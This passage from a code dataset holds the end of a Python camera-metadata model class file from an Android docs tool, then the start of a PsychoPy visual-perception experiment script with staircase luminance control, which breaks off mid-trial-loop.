optional for non-full hardware devices\n      typedef: A string corresponding to a typedef's name attribute.\n    \"\"\"\n\n    if kwargs.get('type') is None:\n      print >> sys.stderr, \"ERROR: Missing type for entry '%s' kind  '%s'\"     \\\n      %(kwargs.get('name'), kwargs.get('kind'))\n\n    # Attributes are Read-Only, but edges may be mutated by\n    # Metadata, particularly during construct_graph\n\n    self._name = kwargs['name']\n    self._type = kwargs['type']\n    self._kind = kwargs['kind'] # static, dynamic, or controls\n\n    self._init_common(**kwargs)\n\n  @property\n  def type(self):\n    return self._type\n\n  @property\n  def kind(self):\n    return self._kind\n\n  @property\n  def visibility(self):\n    return self._visibility\n\n  @property\n  def applied_visibility(self):\n    return self._visibility or 'system'\n\n  @property\n  def optional(self):\n    return self._optional\n\n  @property\n  def applied_optional(self):\n    return self._optional or False\n\n  @property\n  def name_short(self):\n    return self.get_name_minimal()\n\n  @property\n  def container(self):\n    return self._container\n\n  @property\n  def container_sizes(self):\n    if self._container_sizes is None:\n      return None\n    else:\n      return (i for i in self._container_sizes)\n\n  @property\n  def tuple_values(self):\n    if self._tuple_values is None:\n      return None\n    else:\n      return (i for i in self._tuple_values)\n\n  @property\n  def description(self):\n    return self._description\n\n  @property\n  def range(self):\n    return self._range\n\n  @property\n  def units(self):\n    return self._units\n\n  @property\n  def notes(self):\n    return self._notes\n\n  @property\n  def tags(self):\n    if self._tags is None:\n      return None\n    else:\n      return (i for i in self._tags)\n\n  @property\n  def type_notes(self):\n    return self._type_notes\n\n  @property\n  def typedef(self):\n    return self._typedef\n\n  @property\n  def enum(self):\n    return self._enum\n\n  def _get_children(self):\n    if self.enum:\n      yield self.enum\n\n  def sort_children(self):\n    return None\n\n  def is_clone(self):\n    \"\"\"\n    Whether or not this is a Clone instance.\n\n    Returns:\n      False\n    \"\"\"\n    return False\n\n  def _init_common(self, **kwargs):\n\n    self._parent = None # filled in by Metadata::_construct_entries\n\n    self._container = kwargs.get('container')\n    self._container_sizes = kwargs.get('container_sizes')\n\n    # access these via the 'enum' prop\n    enum_values = kwargs.get('enum_values')\n    enum_optionals = kwargs.get('enum_optionals')\n    enum_notes = kwargs.get('enum_notes')  # { value => notes }\n    enum_ids = kwargs.get('enum_ids')  # { value => notes }\n    self._tuple_values = kwargs.get('tuple_values')\n\n    self._description = kwargs.get('description')\n    self._range = kwargs.get('range')\n    self._units = kwargs.get('units')\n    self._notes = kwargs.get('notes')\n\n    self._tag_ids = kwargs.get('tag_ids', [])\n    self._tags = None  # Filled in by Metadata::_construct_tags\n\n    self._type_notes = kwargs.get('type_notes')\n    self._type_name = kwargs.get('type_name')\n    self._typedef = None # Filled in by Metadata::_construct_types\n\n    if kwargs.get('enum', False):\n      self._enum = Enum(self, enum_values, enum_ids, enum_optionals, enum_notes)\n    else:\n      self._enum = None\n\n    self._visibility = kwargs.get('visibility')\n    self._optional = kwargs.get('optional')\n\n    self._property_keys = kwargs\n\n  def merge(self):\n    \"\"\"\n    Copy the attributes into a new entry, merging it with the target entry\n    if it's a clone.\n    \"\"\"\n    return MergedEntry(self)\n\n  # Helpers for accessing less than the fully qualified name\n\n  def get_name_as_list(self):\n    \"\"\"\n    Returns the name as a list split by a period.\n\n    For example:\n      entry.name is 'android.lens.info.shading'\n      entry.get_name_as_list() == ['android', 'lens', 'info', 'shading']\n    \"\"\"\n    return self.name.split(\".\")\n\n  def get_inner_namespace_list(self):\n    \"\"\"\n    Returns the inner namespace part of the name as a list\n\n    For example:\n      entry.name is 'android.lens.info.shading'\n      entry.get_inner_namespace_list() == ['info']\n    \"\"\"\n    return self.get_name_as_list()[2:-1]\n\n  def get_outer_namespace(self):\n    \"\"\"\n    Returns the outer namespace as a string.\n\n    For example:\n      entry.name is 'android.lens.info.shading'\n      entry.get_outer_namespace() == 'android'\n\n    Remarks:\n      Since outer namespaces are non-recursive,\n      and each entry has one, this does not need to be a list.\n    \"\"\"\n    return self.get_name_as_list()[0]\n\n  def get_section(self):\n    \"\"\"\n    Returns the section as a string.\n\n    For example:\n      entry.name is 'android.lens.info.shading'\n      entry.get_section() == ''\n\n    Remarks:\n      Since outer namespaces are non-recursive,\n      and each entry has one, this does not need to be a list.\n    \"\"\"\n    return self.get_name_as_list()[1]\n\n  def get_name_minimal(self):\n    \"\"\"\n    Returns only the last component of the fully qualified name as a string.\n\n    For example:\n      entry.name is 'android.lens.info.shading'\n      entry.get_name_minimal() == 'shading'\n\n    Remarks:\n      entry.name_short it an alias for this\n    \"\"\"\n    return self.get_name_as_list()[-1]\n\n  def get_path_without_name(self):\n    \"\"\"\n    Returns a string path to the entry, with the name component excluded.\n\n    For example:\n      entry.name is 'android.lens.info.shading'\n      entry.get_path_without_name() == 'android.lens.info'\n    \"\"\"\n    return \".\".join(self.get_name_as_list()[0:-1])\n\n\nclass Clone(Entry):\n  \"\"\"\n  A Node corresponding to a <clone> element. It has all the attributes of an\n  <entry> element (Entry) plus the additions specified below.\n\n  Attributes (Read-Only):\n    entry: an edge to an Entry object that this targets\n    target_kind: A string describing the kind of the target entry.\n    name: a string of the name, same as entry.name\n    kind: a string of the Kind ancestor, one of 'static', 'controls', 'dynamic'\n          for the <clone> element.\n    type: always None, since a clone cannot override the type.\n  \"\"\"\n  def __init__(self, entry=None, **kwargs):\n    \"\"\"\n    Instantiate a new Clone node.\n\n    Args:\n      name: A string with the fully qualified name, e.g. 'android.shading.mode'\n      type: A string describing the type, e.g. 'int32'\n      kind: A string describing the kind, e.g. 'static'\n      target_kind: A string for the kind of the target entry, e.g. 'dynamic'\n\n    Args (if container):\n      container: A string describing the container, e.g. 'array' or 'tuple'\n      container_sizes: A list of string sizes if a container, or None otherwise\n\n    Args (if container is 'tuple'):\n      tuple_values: A list of tuple values, e.g. ['width', 'height']\n\n    Args (if the 'enum' attribute is true):\n      enum: A boolean, True if this is an enum, False otherwise\n      enum_values: A list of value strings, e.g. ['ON', 'OFF']\n      enum_optionals: A list of optional enum values, e.g. ['OFF']\n      enum_notes: A dictionary of value->notes strings.\n      enum_ids: A dictionary of value->id strings.\n\n    Args (optional):\n      entry: An edge to the corresponding target Entry.\n      description: A string with a description of the entry.\n      range: A string with the range of the values of the entry, e.g. '>= 0'\n      units: A string with the units of the values, e.g. 'inches'\n      notes: A string with the notes for the entry\n      tag_ids: A list of tag ID strings, e.g. ['BC', 'V1']\n      type_notes: A string with the notes for the type\n\n    Remarks:\n      Note that type is not specified since it has to be the same as the\n      entry.type.\n    \"\"\"\n    self._entry = entry  # Entry object\n    self._target_kind = kwargs['target_kind']\n    self._name = kwargs['name']  # same as entry.name\n    self._kind = kwargs['kind']\n\n    # illegal to override the type, it should be the same as the entry\n    self._type = None\n    # the rest of the kwargs are optional\n    # can be used to override the regular entry data\n    self._init_common(**kwargs)\n\n  @property\n  def entry(self):\n    return self._entry\n\n  @property\n  def target_kind(self):\n    return self._target_kind\n\n  def is_clone(self):\n    \"\"\"\n    Whether or not this is a Clone instance.\n\n    Returns:\n      True\n    \"\"\"\n    return True\n\nclass MergedEntry(Entry):\n  \"\"\"\n  A MergedEntry has all the attributes of a Clone and its target Entry merged\n  together.\n\n  Remarks:\n    Useful when we want to 'unfold' a clone into a real entry by copying out\n    the target entry data. In this case we don't care about distinguishing\n    a clone vs an entry.\n  \"\"\"\n  def __init__(self, entry):\n    \"\"\"\n    Create a new instance of MergedEntry.\n\n    Args:\n      entry: An Entry or Clone instance\n    \"\"\"\n    props_distinct = ['description', 'units', 'range', 'notes', 'tags', 'kind']\n\n    for p in props_distinct:\n      p = '_' + p\n      if entry.is_clone():\n        setattr(self, p, getattr(entry, p) or getattr(entry.entry, p))\n      else:\n        setattr(self, p, getattr(entry, p))\n\n    props_common = ['parent', 'name', 'container',\n                    'container_sizes', 'enum',\n                    'tuple_values',\n                    'type',\n                    'type_notes',\n                    'visibility',\n                    'optional',\n                    'typedef'\n                   ]\n\n    for p in props_common:\n      p = '_' + p\n      if entry.is_clone():\n        setattr(self, p, getattr(entry.entry, p))\n      else:\n        setattr(self, p, getattr(entry, p))\n", "repo_name": "CyFI-Lab-Public/RetroScope", "sub_path": "system/media/camera/docs/metadata_model.py", "file_name": "metadata_model.py", "file_ext": "py", "file_size_in_byte": 39930, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 112, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.OrderedDict", "line_number": 121, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 142, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 371, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 425, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 435, "usage_type": "attribute"}, {"api_name": "itertools.groupby", "line_number": 445, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 471, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 475, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 507, "usage_type": "attribute"}, {"api_name": "sys.stderr", "line_number": 531, "usage_type": "attribute"}, {"api_name": "collections.OrderedDict", "line_number": 805, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 806, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 1042, "usage_type": "attribute"}]}
{"seq_id": "22495942120", "text": "# from __future__ import division  # always does true division, not int division (no remainder) as in python2.\n\nimport psychopy\n# psychopyVersion = '2021.2.3'  # '2020.2.10'=MartinExp1Version', 2021.2.3'=nickMac version, latest nickmac version=2022.2.4\n# psychopy.useVersion(psychopyVersion)\nfrom psychopy import __version__ as psychopyVersion  # uses the computer's downloaded version\n\nprint(f\"psychopy.version: {psychopyVersion}\")\n\nfrom psychopy import gui, visual, core, data, event, monitors, logging, info\nfrom psychopy.hardware import keyboard\nimport os\nimport numpy as np\n# from numpy import deg2rad\nfrom numpy.random import shuffle\nimport random\nimport copy\nfrom datetime import datetime\nfrom math import tan, sqrt\nfrom kestenSTmaxVal import Staircase\n\n\n\n# # a function to be called on selected frames from callOnFlip.py coder demo\n# clock = core.Clock()  # a clock to check times from\n# def printFrame(frameN, tReceived):\n#     tPrinted = clock.getTime()\n#     print(frameN, tReceived, tPrinted)\n\n\n\n\n'''\nUpdated Exp1 script.  \n\nmake sure probes and trials counter are ontop of blanded mask.\nDefinately hangs after if trials counter and debugger are both true and console logging is left to deafult.  \n\nFixed timing issues for concurrent probes: I've updated ISI_fr and pr2_fr.\nI've changed the responses to use the keyboard as suggested for coder experiments, rather than imported builder code.    \nHopefully reduced memory drain issues too: removed thisExp.close, put logginf controls back in.\nIf memory issues stl not fixed, I could try to:\n1. set auto_log=False in the experiment handler: doesn't help\n2. get rid of trials_counter (or use TextBox2 rather than text_stim?): doesn't help\n3. set theseKeys once earlier before frame loop.: can't do this\n4. check for take a break once earlier before per-frame loop.\n5. manually write to csv each trial myself: commenting out all addData calls didn't help either!\n#  rather than using addData.\n#  see https://discourse.psychopy.org/t/crashes-after-30-mins-wavs-have-clicks-cant-use-midi-files/4311/10\n6. try turning off pyglet or using glfw\n'''\n\n\n\n# # @profile\n# def Exp1_Nov22():\n\nclock = core.Clock()  # a clock to check times from\n\n\nprint(f\"psychopy.version: {psychopy.__version__}\")\n\n\n# Ensure that relative paths start from the same directory as this script\n_thisDir = os.path.dirname(os.path.abspath(__file__))\nos.chdir(_thisDir)\n\n# Monitor config from monitor centre\nmonitor_name = 'Nick_work_laptop'  # 'NickMac' 'asus_cal' 'Asus_VG24' 'HP_24uh' 'ASUS_2_13_240Hz' 'Iiyama_2_18' 'Nick_work_laptop'\n\n\n# Store info about the experiment session\nexpName = 'Exp1_Nov22'  # from the Builder filename that created this script\n\nexpInfo = {'1. Participant': 'nicktest',\n           '2. Run_number': '1',\n           '3. Probe duration in frames at 240hz': [2, 50, 100],\n           '4. fps': [60, 144, 240],\n           '5. Probe_orientation': ['radial', 'tangent'],\n           '6. Trial_counter': [False, True],\n           '7. Vary_fixation': [False, True],\n           '8. Blend_off_edges': [False, True],\n           '9. testing/de-bugging': [False, True],\n           }\n\n# GUI\ndlg = gui.DlgFromDict(dictionary=expInfo, title=expName)\nif not dlg.OK:\n    core.quit()  # user pressed escape\n\nexpInfo['time'] = datetime.now().strftime(\"%H:%M:%S\")\nexpInfo['date'] = datetime.now().strftime(\"%d/%m/%Y\")\n\n# GUI SETTINGS\nparticipant_name = expInfo['1. Participant']\nrun_number = int(expInfo['2. Run_number'])\nn_trials_per_stair = 25\nprobe_duration = int(expInfo['3. Probe duration in frames at 240hz'])\nprobe_ecc = 4\nfps = int(expInfo['4. fps'])\norientation = expInfo['5. Probe_orientation']\nuse_trials_counter = eval(expInfo['6. Trial_counter'])\nvary_fixation = eval(expInfo['7. Vary_fixation'])\nblend_off_edges = eval(expInfo['8. Blend_off_edges'])\nverbose = eval(expInfo['9. testing/de-bugging'])\n\n# LOGGING AND PRINTING TO SCREEN\n# # todo: try with critical logging only\n# sets psychoPy to only log critical messages\nif verbose:\n    logging.console.setLevel(logging.DEBUG)\nelse:\n    logging.console.setLevel(logging.CRITICAL)\n\n\n# VARIABLES\n'''Distances between probes (spatially and temporally)\nFor 1probe condition, use separation==99.\nFor concurrent probes, use ISI==-1.\n'''\n# separations = [0, 6]  # select from [0, 1, 2, 3, 6, 18, 99]\nseparations = [18]  # select from [0, 1, 2, 3, 6, 18, 99]\nprint(f'\\nseparations: {separations}')\n\n# todo: add in code to find equivallent ISI_frames for different fps from double_dist?\nISI_values = [-1, 0, 1, 2]  # select from [-1, 0, 2, 4, 6, 9, 12, 24]\n# ISI_values = [1]  # , 0, 1, 2]  # select from [-1, 0, 2, 4, 6, 9, 12, 24]\nprint(f'ISI_values: {ISI_values}')\n# repeat separation values for each ISI e.g., [0, 0, 6, 6]\nsep_vals_list = list(np.repeat(separations, len(ISI_values)))\nprint(f'sep_vals_list: {sep_vals_list}')\n# ISI_vals_list cycles through ISIs e.g., [-1, 6, -1, 6]\nISI_vals_list = list(np.tile(ISI_values, len(separations)))\nprint(f'ISI_vals_list: {ISI_vals_list}')\n# stair_names_list joins sep_vals_list and ISI_vals_list\n# e.g., ['sep0_ISI-1', 'sep0_ISI6', 'sep6_ISI-1', 'sep6_ISI6']\nstair_names_list = [f'sep{s}_ISI{c}' for s, c in zip(sep_vals_list, ISI_vals_list)]\nprint(f'stair_names_list: {stair_names_list}')\nn_stairs = len(sep_vals_list)\nprint(f'n_stairs: {n_stairs}')\n\n# FILENAME\nfilename = f'{_thisDir}{os.sep}' \\\n           f'{expName}{os.sep}' \\\n           f'{participant_name}{os.sep}' \\\n           f'{participant_name}_{run_number}{os.sep}' \\\n           f'{participant_name}_{run_number}_output'\n# files are labelled as '_incomplete' unless entire script runs.\nsave_output_name = filename + '_incomplete'\nprint(f'filename: {filename}')\n\n\n# Experiment Handler\n# todo: I can try adding autolog=False to experiment handler if it is the logging that is slowing things down.\nthisExp = data.ExperimentHandler(name=expName,\n                                 version=psychopyVersion,  # does not set anything, just saved as string for record-keeping.\n                                 extraInfo=expInfo,\n                                 # runtimeInfo=runInfo,\n                                 # runtimeInfo=psychopy.info.RunTimeInfo,\n                                 savePickle=True,\n                                 saveWideText=True,\n                                 dataFileName=save_output_name,\n                                 # autoLog=False\n                                 )\n\n# COLORS AND LUMINANCE\n# Lum to Color255\nLumColor255Factor = 2.39538706913372\n# Color255 to Color1\nColor255Color1Factor = 1 / 127.5  # Color255 * Color255Color1Factor -1\n# Lum to Color1\nColor1LumFactor = 2.39538706913372\n\nmaxLum = 106  # 255 RGB\n# minLum = 0.12  # 0 RGB\n# maxColor255 = 255\n# minColor255 = 0\n# maxColor1 = 1\n# minColor1 = -1\nbgLumProp = .2\nbgLum = maxLum * bgLumProp\nbgColor255 = bgLum * LumColor255Factor\nbgColor1 = (bgColor255 * Color255Color1Factor) - 1\n\n# COLOUR SPACE\ncolour_space = 'rgb255'\nbackground_col = bgColor255\n\n\n# MONITOR SPEC\nthisMon = monitors.Monitor(monitor_name)\nthis_width = thisMon.getWidth()\nmon_dict = {'mon_name': monitor_name,\n            'width': thisMon.getWidth(),\n            'size': thisMon.getSizePix(),\n            'dist': thisMon.getDistance(),\n            'notes': thisMon.getNotes()}\nprint(f\"mon_dict: {mon_dict}\")\n\n# double check using full screen in lab\ndisplay_number = 1  # 0 indexed, 1 for external display, 0 for internal\nif monitor_name in ['ASUS_2_13_240Hz', 'asus_cal', 'Nick_work_laptop', 'NickMac']:\n    display_number = 0\nuse_full_screen = True\nif display_number > 0:\n    use_full_screen = False\nwidthPix = mon_dict['size'][0]\nheightPix = mon_dict['size'][1]\nmonitorwidth = mon_dict['width']  # monitor width in cm\nviewdist = mon_dict['dist']  # viewing distance in cm\nviewdistPix = widthPix / monitorwidth * viewdist\nmon = monitors.Monitor(monitor_name, width=monitorwidth, distance=viewdist)\nmon.setSizePix((widthPix, heightPix))\n# mon.save()\n\n# WINDOW SPEC\n# todo: try toggling pyglet.  Could add a catch (if mon_name==mac, use pyglet if needed)?\nwin = visual.Window(monitor=mon, size=(widthPix, heightPix),\n                    colorSpace=colour_space, color=bgColor255,\n                    # winType='pyglet',  # I've added this to make it work on pycharm/mac\n                    winType='glfw',\n                    pos=[1, -1],  # pos gives position of top-left of screen\n                    units='pix',\n                    screen=display_number,\n                    allowGUI=False,\n                    fullscr=use_full_screen)\nprint(f\"win.colorSpace: {win.colorSpace}\")\nprint(f\"win.winType: {win.winType}\")\n\n# win.recordFrameIntervals = True\n# record as droppped with 4ms tollerance\n# win.refreshThreshold = 1 / fps + 0.004\n# win.logOnFlip(level=logging.WARNING, msg='sent on actual flip')\n\n\n'''set an ideal frame time and margin of error for dropped frames'''\nfr_sec = 1/fps\n# fr_error = 1.5\nfr_error = 1.01\nmax_fr_sec = fr_error * fr_sec\nprint(f\"expected frames duration is {fr_sec}.  An acceptable error is {fr_error} times this.\\n\"\n      f\"If there are frames longer than {max_fr_sec}, the trial will be re-done.\")\n\n\n# todo: check this - is it just for apple retina screen\nwidthPix = widthPix / 2\nheightPix = heightPix / 2\nwidthPix, heightPix = win.size\n# if verbose:\nprint(f\"check win.size: {win.size}\")\nprint(f\"widthPix: {widthPix}, hight: {heightPix}\")\n\n# # get system info\n# runInfo = info.RunTimeInfo(verbose=True, win=win, userProcsDetailed=True)\n# print(f\"\\nrun_info:\\n\")\n# for k, v in runInfo.items():\n#     print(k, v)\n# # print(f\"\\nrun_info:\\n{runInfo}\")\n# start_mem = info.getMemoryUsage()\n# start_ram = info.getRAM()[1]\n# print(f\"start_mem: {start_mem}\")\n# print(f\"start_ram: {start_ram}\")\n# if \"windowRefreshTimeAvg_ms\" in runInfo:\n#     print(\"or from the test of the screen refresh rate:\")\n#     print(\"  %.2f ms = average refresh time\" % runInfo[\"windowRefreshTimeAvg_ms\"])\n#     print(\"  %.3f ms = standard deviation\" % runInfo[\"windowRefreshTimeSD_ms\"])\n#\n#     # Once you have run-time info, you can fine-tune things with the values, prior to running your experiment.\n#     refreshSDwarningLevel_ms = 0.20  # ms\n#     if runInfo[\"windowRefreshTimeSD_ms\"] > refreshSDwarningLevel_ms:\n#         print(\"\\nThe variability of the refresh rate is sort of high (SD > %.2f ms).\" % (refreshSDwarningLevel_ms))\n#         # and here you could prompt the user with suggestions, possibly based on other info:\n#         if runInfo[\"windowIsFullScr\"]:\n#             print(\"Your window is full-screen, which is good for timing.\")\n#             print('Possible issues: internet / wireless? bluetooth? recent startup (not finished)?')\n#             if len(runInfo['systemUserProcFlagged']):\n#                 print('other programs running? (command, process-ID):' + str(runInfo['systemUserProcFlagged']))\n#         else:\n#             print(\"\"\"Try defining the window as full-screen (it's not currently),\n#                   i.e. at the top of the demo change to: win = visual.Window((800, 600), fullscr=True,...\n#                   and re-run the demo.\"\"\")\n# thisExp.runtimeInfo=runInfo\n\n# # CHECK FPS\n# # simpler way to test framerate\n# # store frame rate of monitor if we can measure it\n# expInfo['ActualFrameRate'] = win.getActualFrameRate()\n# if expInfo['ActualFrameRate'] != None:\n#     actualframeDur = 1.0 / round(expInfo['ActualFrameRate'])\n# start_fps = win.getActualFrameRate()\n# print(f\"expInfo['ActualFrameRate']: {expInfo['ActualFrameRate']}, actualframeDur: {actualframeDur}\")\n\n\n\n# ELEMENTS\n# fixation bull eye\nfixation = visual.Circle(win, radius=2, units='pix', lineColor='white', fillColor='black', name=\"fixation\")\n\n# PROBEs\nprobeVert = [(0, 0), (1, 0), (1, 1), (2, 1), (2, -1), (1, -1),\n             (1, -2), (-1, -2), (-1, -1), (0, -1)]\n\nprobe1 = visual.ShapeStim(win, vertices=probeVert, fillColor=[0, 0, 0], name='probe1',\n                          lineWidth=0, opacity=1, size=1, interpolate=False)\nprobe2 = visual.ShapeStim(win, vertices=probeVert, fillColor=[0, 0, 0], name='probe2',\n                          lineWidth=0, opacity=1, size=1, interpolate=False)\nprobe1.colorSpace = 'rgb255'\nprobe2.colorSpace = 'rgb255'\nprint(f\"probe1.colorSpace: {probe1.colorSpace}, probe2.colorSpace: {probe2.colorSpace}\")\n\n# probe1 = visual.ShapeStim(win, vertices=probeVert, fillColor=[1.0, -1.0, 1.0],\n#                           lineWidth=0, opacity=1, size=1, interpolate=False)\n# probe2 = visual.ShapeStim(win, vertices=probeVert, fillColor=[-1.0, 1.0, -1.0],\n#                           lineWidth=0, opacity=1, size=1, interpolate=False)\n\n# dist_from_fix is a constant to get 4dva distance from fixation,\ndist_from_fix = round((tan(np.deg2rad(probe_ecc)) * viewdistPix) / sqrt(2))\n\n# # todo: check if we need this blend_edge_mask\n# # full screen mask to blend off edges and fade to black\n# # Create a raisedCosine mask array and assign it to a Grating stimulus (grey outside, transparent inside)\n# # this was useful http://www.cogsci.nl/blog/tutorials/211-a-bit-about-patches-textures-and-masks-in-psychopy\n# raisedCosTexture2 = visual.filters.makeMask(heightPix, shape='raisedCosine', fringeWidth=0.6, radius=[1.0, 1.0])\n# invRaisedCosTexture = -raisedCosTexture2  # inverts mask to blur edges instead of center\n# # blankslab = np.ones((heightPix, 420))  # create blank slabs to put to left and right of image\n# blankslab = np.ones((heightPix, int((widthPix-heightPix) / 2)))  # create blank slabs to put to left and right of image\n# mmask = np.append(blankslab, invRaisedCosTexture, axis=1)  # append blank slab to left\n# mmask = np.append(mmask, blankslab, axis=1)  # and right\n# blend_edge_mask = visual.GratingStim(win, mask=mmask,\n#                                      tex=None,\n#                                      contrast=1.0, size=(widthPix, heightPix),\n#                                      units='pix', color='black', name='blend_edge_mask')\n# # if blend_off_edges == False, set mask to be transparent\n# if not blend_off_edges:\n#     blend_edge_mask.opacity = 0.0\n\n\n# # HARDWARE\n# MOUSE - hide cursor\nmyMouse = event.Mouse(visible=False)\n\n# # KEYBOARD\n# todo: changed this from builder to keyboard\n# resp = event.BuilderKeyResponse()\nkb = keyboard.Keyboard()\n# kb = keyboard.Keyboard(backend='ptb')  # use psychtoolbox rather than IOHub\n# print(f\"keyboard.getKeyboards(): {keyboard.getKeyboards()}\")\n# kb_backend = keyboard.Keyboard.getBackend()\n# print(f\"keyboard.Keyboard.getBackend(): {kb_backend}\")\n\n\n# TEXT TO DISPLAY (changed from textStim to TextBox2)\n# todo: get rid of tabs\n# INSTRUCTIONS\ninsturction_text = \"\\n\\n\\n\\n\\n\\nFocus on the fixation circle at the centre of the screen.\\n\\n\" \\\n                   \"A small white target will briefly appear on screen,\\n\" \\\n                   \"press the key related to the location of the probe:\\n\\n\" \\\n                   \"[4]/[Q] top-left            [5]/[W] top-right\\n\\n\\n\\n\" \\\n                   \"[1]/[A] bottom-left            [2]/[S] bottom-right.\\n\\n\\n\" \\\n                   \"Some targets will be easier to see than others,\\n\" \\\n                   \"Some will be so dim that you won't see them, so just guess!\\n\\n\" \\\n                   \"You don't need to think for long, respond quickly, \" \\\n                   \"but try to push press the correct key!\\n\\n\" \\\n                   \"Don't let your eyes wander, keep focussed on the circle in the middle throughout.\"\ninstructions = visual.TextBox2(win=win, name='instructions', text=insturction_text,\n                               # font='Arial',\n                               font='Open Sans',\n                               letterHeight=20, color='white',\n                               alignment='center',  anchor='center',\n                               size=[None, None])\n\n# Trial counter\n# todo: put trials counter back to .45 of widthPix and heightPix pos\ntrials_counter = visual.TextBox2(win=win, name='trials_counter', text=\"???\",\n                                 # font='Arial',\n                                 font='Open Sans',\n                                 letterHeight=20,\n                                 # default set to background colour (e.g., invisible)\n                                 color=bgColor255,\n                                 pos=[-widthPix * .45, -heightPix * .45])\n                                 # pos=[-widthPix * .20, -heightPix * .20])\nif use_trials_counter:\n    # if trials counter yes, change colour to white.\n    trials_counter.color = 'white'\n\n# BREAKS\ntake_break = 76\ntotal_n_trials = int(n_trials_per_stair * n_stairs)\nif verbose:\n    print(f\"take_break every {take_break} trials.\")\nbreaks_text = \"Break\\nTurn on the light and take at least 30-seconds break.\\n\" \\\n              \"Keep focussed on the fixation circle in the middle of the screen.\\n\" \\\n              \"Remember, if you don't see the target, just guess!\"\nbreaks = visual.TextBox2(win=win, name='breaks', text=breaks_text,\n                         # font='Arial',\n                         font='Open Sans',\n                         color='white',\n                         alignment='center', anchor='center',\n                         # pos=[0, 0],\n                         # letterHeight=20, ori=0, color=[255, 255, 255],\n                         # colorSpace='rgb255', opacity=1, languageStyle='LTR', depth=0.0\n                         )\n\n# END OF EXPERIMENT MESSAGE\nend_of_exp_text = \"You have completed this experiment.\\n\" \\\n                  \"Thank you for your time.\\n\\n\" \\\n                  \"Press any key to return to the desktop.\"\nend_of_exp = visual.TextBox2(win=win, name='end_of_exp', text=end_of_exp_text,\n                             # font='Arial',\n                             font='Open Sans',\n                             alignment='center', anchor='center',\n                             letterHeight=20)\n\n\n# SCREEN BEFORE EXPERIMENT\nwhile not kb.getKeys():\n    fixation.setRadius(3)\n    fixation.draw()\n    instructions.draw()\n    trials_counter.text = f\"0/{total_n_trials}\"\n    trials_counter.draw()\n    win.flip()\n\n# STAIRCASE\nexpInfo['stair_list'] = list(range(n_stairs))\nexpInfo['n_trials_per_stair'] = n_trials_per_stair\n\nstairStart = maxLum\nminiVal = bgLum\nmaxiVal = maxLum\n\nstairs = []\nfor stair_idx in expInfo['stair_list']:\n\n    thisInfo = copy.copy(expInfo)\n    thisInfo['stair_idx'] = stair_idx\n\n    thisStair = Staircase(name=stair_names_list[stair_idx],\n                          type='simple',\n                          value=stairStart,\n                          C=stairStart * 0.6,  # initial step size, as prop of referene stim\n                          minRevs=3,\n                          minTrials=n_trials_per_stair,\n                          minVal=miniVal,\n                          maxVal=maxiVal,\n                          targetThresh=0.75,\n                          extraInfo=thisInfo)\n    stairs.append(thisStair)\n\n# EXPERIMENT\ntrial_number = 0\nfor step in range(n_trials_per_stair):\n    shuffle(stairs)\n    for thisStair in stairs:\n\n        # Trial, stair and step\n        trial_number = trial_number + 1\n        trials_counter.text = f\"{trial_number}/{total_n_trials}\"\n        stair_idx = thisStair.extraInfo['stair_idx']\n        print(f\"\\ntrial_number: {trial_number}, stair_idx: {stair_idx}, thisStair: {thisStair}, step: {step}\")\n\n        # condition (Seprataion, ISI)\n        sep = sep_vals_list[stair_idx]\n        ISI = ISI_vals_list[stair_idx]\n        if verbose:\n            print(f\"ISI: {ISI}, sep: {sep}\")\n\n        # Luminance (staircase varies probeLum)\n        probeLum = thisStair.next()\n        probeColor255 = int(probeLum * LumColor255Factor)  # rgb255 are ints.\n        probeColor1 = (probeColor255 * Color255Color1Factor) - 1\n        probe1.setColor([probeColor255, probeColor255, probeColor255], colour_space)\n        probe2.setColor([probeColor255, probeColor255, probeColor255], colour_space)\n        if verbose:\n            print(f\"probeLum: {probeLum}, probeColor255: {probeColor255}, probeColor1: {probeColor1}\")\n            print(f\"probe1.colorSpace: {probe1.colorSpace}, probe2.colorSpace: {probe2.colorSpace}\")\n\n        # PROBE LOCATION\n        # # corners go ACW(!) 45=top-right, 135=top-left, 225=bottom-left, 315=bottom-right\n        # todo: change to use tuple or names tuple?\n        corner = random.choice([45, 135, 225, 315])\n        corner_name = 'top_right'\n        if corner == 135:\n            corner_name = 'top_left'\n        elif corner == 225:\n            corner_name = 'bottom_left'\n        elif corner == 315:\n            corner_name = 'bottom_right'\n\n        # # direction in which the probe jumps : CW or ACW\n        # todo change to use dict or tuples?\n        target_jump = random.choice([1, -1])\n        if orientation == 'tangent':\n            jump_dir = 'clockwise'\n            if target_jump == -1:\n                jump_dir = 'anticlockwise'\n        else:\n            jump_dir = 'inward'\n            if target_jump == -1:\n                jump_dir = 'outward'\n        # if verbose:\n        print(f\"corner: {corner} {corner_name}; jump dir: {target_jump} {jump_dir}\")\n\n\n        # NEW - set orientations to p1=zero and p2=180 (not zero), than add same orientation change to both\n        # reset probe ori\n        probe1_ori = 0\n        probe2_ori = 180\n        if corner == 45:\n            # in top-right corner, both x and y increase (right and up)\n            p1_x = dist_from_fix * 1\n            p1_y = dist_from_fix * 1\n            #  'orientation' here refers to the relationship between probes,\n            #  whereas probe1_ori refers to rotational angle of probe stimulus\n            if orientation == 'tangent':\n                if target_jump == 1:  # CW\n                    probe1_ori += 180\n                    probe2_ori += 180\n                    probe2_pos = [p1_x + sep - 1, p1_y - sep]\n                elif target_jump == -1:  # ACW\n                    probe1_ori += 0\n                    probe2_ori += 0\n                    probe2_pos = [p1_x - sep + 1, p1_y + sep]\n            elif orientation == 'radial':\n                if target_jump == 1:  # inward\n                    probe1_ori += 270\n                    probe2_ori += 270\n                    # probe2 is left and down from probe1\n                    probe2_pos = [p1_x - sep + 1, p1_y - sep]\n                elif target_jump == -1:  # outward\n                    probe1_ori += 90\n                    probe2_ori += 90\n                    # probe2 is right and up from probe1\n                    probe2_pos = [p1_x + sep - 1, p1_y + sep]\n        elif corner == 135:\n            p1_x = dist_from_fix * -1\n            p1_y = dist_from_fix * 1\n            if orientation == 'tangent':\n                if 